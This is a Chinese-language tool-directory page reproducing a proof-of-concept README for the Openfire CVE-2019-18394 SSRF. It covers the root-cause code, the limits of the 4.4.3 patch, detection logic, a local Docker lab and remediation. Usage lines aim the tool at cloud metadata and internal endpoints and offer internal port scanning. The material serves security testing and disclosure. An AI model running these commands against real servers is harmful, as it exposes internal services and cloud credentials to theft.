Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
openfire-ssrf-cve-2019-18394 — CVE-2019-18394 的 PoC:Openfire <= 4.4.2 FaviconServlet 中的未认证全读取 SSRF | Kitploit
工具/GitHubGitHub/l0lsec/openfire-ssrf-cve-2019-18394
侦察漏洞扫描器漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubl0lsec/openfire-ssrf-cve-2019-18394

openfire-ssrf-cve-2019-18394

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-18394 的 PoC:Openfire <= 4.4.2 FaviconServlet 中的未认证全读取 SSRF

查看仓库
1天前尚未审核

CVE-2019-18394: Openfire FaviconServlet SSRF

Ignite Realtime Openfire 4.4.2 及更早版本中的未认证服务器端请求伪造 (管理控制台,默认 TCP 9090/9091)。已在 4.4.3 中修复(issue OF-1885)。

  • 请求伪造: host 参数在未经任何验证的情况下被拼接到出站 URL 中, 因此服务器会发起由攻击者选择的 HTTP GET 请求。
  • 响应泄露: 在 HTTP 200 时,上游原始响应体会被原样写回给调用方。 这是完全读取型 SSRF,而非盲 SSRF。
  • 无需认证: /getFavicon 不在管理控制台 AuthCheckFilter 的保护范围内, 即使服务器仍处于未配置的初始设置状态也会响应。

仅限授权测试。此处所有内容均针对你自己搭建的本地实验环境。

根本原因

org.jivesoftware.util.FaviconServlet(Openfire 4.4.2):

root@kitploit:~
public void doGet(HttpServletRequest request, HttpServletResponse response) {
    String host = request.getParameter("host");                 // attacker-controlled
    host = "gmail.com".equals(host) ? "google.com" : host;
    byte[] bytes = getImage(host, defaultBytes);
    if (bytes != null) { writeBytesToStream(bytes, response); }  // body returned to caller
}

private byte[] getImage(String host, byte[] defaultImage) {
    ...
    byte[] bytes = getImage("http://" + host + "/favicon.ico");  // unvalidated concatenation
    ...
}

private byte[] getImage(String url) {
    ...
    try (CloseableHttpResponse response = client.execute(getRequest)) {
        if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
            return EntityUtils.toByteArray(response.getEntity());   // full body, not just an image
        }
    } ...
}

未认证。 在 xmppserver/src/main/webapp/WEB-INF/web.xml 中,AuthCheck 过滤器仅 映射到 *.jsp、PluginServlet 和 dwr-invoker。FaviconServlet 映射到普通路径 /getFavicon,因此不会对其运行任何认证过滤器。

任意路径,而不仅是任意主机。 代码硬编码了 /favicon.ico 后缀。 让 host 以查询字符串结尾可将该后缀推入参数值中:

root@kitploit:~
host = of_internal/secret?x=    produces    http://of_internal/secret?x=/favicon.ico

协议固定为 http://。 https:// 目标无法直接访问,但该 servlet 的客户端使用 LaxRedirectStrategy,因此一个会继续 302 重定向的 http 端点可以做到。

4.4.3 修复及其局限

root@kitploit:~
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) {   // OF-1885
    return null;                        // withhold non-image bodies
}
return result;

GraphicsUtils.isImage() 即 ImageIO.read(bytes) != null,是内容检查,而非目标检查。 补丁后仍有两件事得以保留:

  • 伪造的出站请求仍会被发送,因此盲 SSRF(端口扫描、内部服务交互、重定向跳板)在 4.4.3 上仍然有效。
  • 任何能解析为图像的响应仍会被完整返回,且任意字节可以尾随在图像数据之后,因此图像形态的完全读取型泄露在 4.4.3 上仍然有效。

检测判定依据

  • 所有结果都是 HTTP 200,因此成功与失败仅体现在响应体上。该工具通过强制发起两次 必定失败(NXDOMAIN)的请求并比较它们来捕获失败特征。磁盘上的 /images/server_16x16.gif 不用作基线:初始化时未能加载它的服务器会返回空的失败 响应体,将两者错误匹配会得出错误结果。
  • 存在性通过结构确认:未命中返回 200,而未映射的兄弟路径返回 404, 这可将真实的 FaviconServlet 映射与全捕获区分开。
  • FaviconServlet 以原始 host 为键缓存命中和未命中,并在两次未命中后短路。 该工具为每个探测添加唯一的 cb= 缓存破坏参数,因此重复运行不会返回陈旧结果。

用法

Python 3 标准库,无依赖。

root@kitploit:~
check   确认漏洞:未认证端点 + 带外回调 + 响应泄露
read    通过目标获取任意 http:// URL(完全读取型 SSRF)
scan    从目标所在网络位置探测内部 TCP 端口
root@kitploit:~
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json

# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/

# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090

标志:--callback-host(目标回调的地址)、--listen-bind / --listen-port (本地监听器)、--marker-format gif(返回可通过 4.4.3 isImage() 门控的 可解析为图像的内容)、--proxy、--json。

退出码:0 正常,1 发现漏洞,2 错误或不受影响,3 无定论。

实验环境与验证结果

差异化 Docker 环境:存在漏洞的 4.4.2(控制台在 :9090)、已修补的 4.4.3(在 :9092), 以及一个主机无法直接访问的仅内部服务。

root@kitploit:~
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
  'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html

# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
  -v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine

docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
  gizmotronic/openfire:4.4.2 && docker network connect bridge of442   # VULNERABLE

docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
  gizmotronic/openfire:4.4.3 && docker network connect bridge of443   # PATCHED

内部 nginx 没有主机端口映射,因此从主机直接获取会返回 HTTP 000, 但 Openfire 可以访问它。读取其 SECRET_FLAG 证明该请求跨越了信任边界。 在 Docker Desktop 上,目标通过 host.docker.internal 访问你的监听器(将其传给 --callback-host)。在原生 Linux Docker 上,使用 docker0 网关 IP 或省略 --callback-host 以自动检测。

root@kitploit:~
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read  -t 127.0.0.1:9090 -d http://of_internal/

每次回调到达时都带有 User-Agent: Apache-HttpClient/... (Java/...),确认该请求 来自 Openfire 自身的 HTTP 客户端,而非该工具。

注释:gif 结果确认了完全读取型 SSRF,但无法区分 4.4.2 与 4.4.3,因为图像形态的 泄露在两者上都有效。使用默认的 text 标记来区分修复前与修复后。

read:4.4.2 泄露了内部的 SECRET_FLAG;4.4.3 拦截了 HTML 页面,但仍返回了 通过路径技巧获取的内部 .gif。

root@kitploit:~
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal   # tear down

修复建议

升级到 Openfire 4.4.3 或更高版本。isImage() 修复并不能阻止出站请求或图像形态的 泄露,因此在不需要 favicon 代理功能的情况下,还应限制 Openfire 主机的出站流量, 并将管理控制台(9090/9091)置于网络控制之后。

文件

root@kitploit:~
cve_2019_18394_poc.py   the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md               this document

check 在给定 --json <file> 时会写入一条 JSON 证据记录。

下载工具
目标标记回调响应体泄露判定退出码
4.4.2(存在漏洞)text是是,原样VULNERABLE(未修补)1
4.4.3(已修补)text是否,被 isImage() 拦截PARTIALLY_MITIGATED(盲 SSRF)1
4.4.3(已修补)gif是是,图像 + 尾随文本VULNERABLE 完全读取(见注释)1
非 Openfire(nginx)不适用不适用不适用端点不存在2